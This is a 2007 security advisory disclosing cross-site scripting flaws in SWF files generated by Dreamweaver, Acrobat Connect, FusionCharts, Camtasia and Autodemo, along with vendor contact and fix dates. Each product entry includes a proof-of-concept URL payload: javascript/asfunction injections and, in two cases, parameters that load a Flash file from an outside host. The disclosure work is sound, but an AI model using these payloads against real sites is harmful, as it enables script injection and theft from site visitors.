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XSS Vulnerabilities in Common Shockwave Flash Files
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SUMMARY
Critical vulnerabilities exist in a large number of widely used web
authoring tools that automatically generate Shockwave Flash (SWF) files,
such as Adobe (r) Dreamweaver (r), Adobe Acrobat (r) Connect (tm)
(formerly Macromedia Breeze), InfoSoft FusionCharts, and Techsmith
Camtasia. The flaws render websites that host these generated SWF files
vulnerable to Cross-Site Scripting (XSS).
This problem is not limited to authoring tools. Autodemo, a popular
service provider, used a vulnerable controller SWF in many of their
projects.
Simple Google hacking queries reveal that hundreds of thousands of SWFs
are vulnerable on the Internet, and a considerable percentage of major
Internet sites are affected. We are only reporting XSS vulnerabilities
that have been fixed by the vendors.
DETAILS
Many web authoring tools that automatically generate SWFs insert identical
and vulnerable ActionScript into all saved SWFs or necessary controller
SWFs (think of tools that "save as SWF", "export to SWF", etc.). The
vulnerable ActionScript can used by attackers to execute arbitrary
JavaScript in the security domain of the website hosting the SWF.
We were unable to perform an exhaustive review of all authoring tools that
generate SWFs. More XSS issues may exist in the products listed below and
certainly exist in other applications that save to SWF.
We are only reporting XSS vulnerabilities that have been fixed by the
vendors. There are more products vulnerable. We will publish more
information when the vendor releases fixes.
Adobe Dreamweaver
The "skinName" parameter is accepted by all Flash files produced by the
"Insert Flash Video" feature. "skinName" can be used to force victims to
load of arbitrary URLs including the "asfunction" protocol handler:
http://www.example.com/FLVPlayer_Progressive.swf?skinName=asfunction:getURL,javascript:alert(1)//
Adobe was contacted on August 8, 2007. This issue was fixed in the
December Flash player release.
Adobe Acrobat Connect/Macromedia Dreamweaver
"main.swf" is the controller file in all Connect/Breeze online
presentations. This SWF does not properly validate the "baseurl"
parameter; thus causing script injection:
http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//
Adobe was contacted on July 31, 2007. This issue was fixed in the December
Flash player release.
InfoSoft FusionCharts
One of the issues found in FusionCharts was that the "dataURL" parameter
allows insertion of arbitrary HTML into a "TextArea" instance. This allows
attackers to load SWFs from other domains:
http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//cannings.org/DoKnowEvil.swf%3F.jpg%22%3E
InfoSoft was contacted on September 2, 2007. Fixes for all issues we found
were released in late September. Webmasters should consult InfoSoft to
properly upgrade their SWFs. See "The Fix" for details.
Techsmith Camtasia
One of the issues found in Camtasia was that the "csPreloader" parameter
loads an arbitrary flash file:
http://www.example.com/Example_controller.swf?csPreloader=http://cannings.org/DoKnowEvil.swf%3f
Techsmith was contacted on August 12, 2007. Fixes for all issues was
released late September. Webmasters should contact Techsmith to properly
upgrade their SWFs. See "The Fix" for details.
Autodemo
Autodemo is a service provider, not an authoring tool. However, like
authoring tools they use a common control file in many demos. The "onend"
parameter in "control.swf" loads arbitrary URLs including the JavaScript
protocol handler:
http://www.example.com/control.swf?onend=javascript:alert(1)//
Autodemo was contacted on August 17, 2007. Autodemo was extremely
responsive to our report and quickly fixed the issue in early September.
Webmasters must update to the latest "control.swf". See "The Fix" for
details.
Autodemo is not the only service provider to have XSS in their products.
They are just the only service provider we looked at. Readers should be
concerned about other service providers who don't even know their SWFs are
vulnerable.
The Fix
See <http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw>
http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw.
ADDITIONAL INFORMATION
The information has been provided by <mailto:rcannings@gmail.com> Rich
Cannings.
The original article can be found at:
<http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw>
http://docs.google.com/Doc?docid=ajfxntc4dmsq_14dt57ssdw
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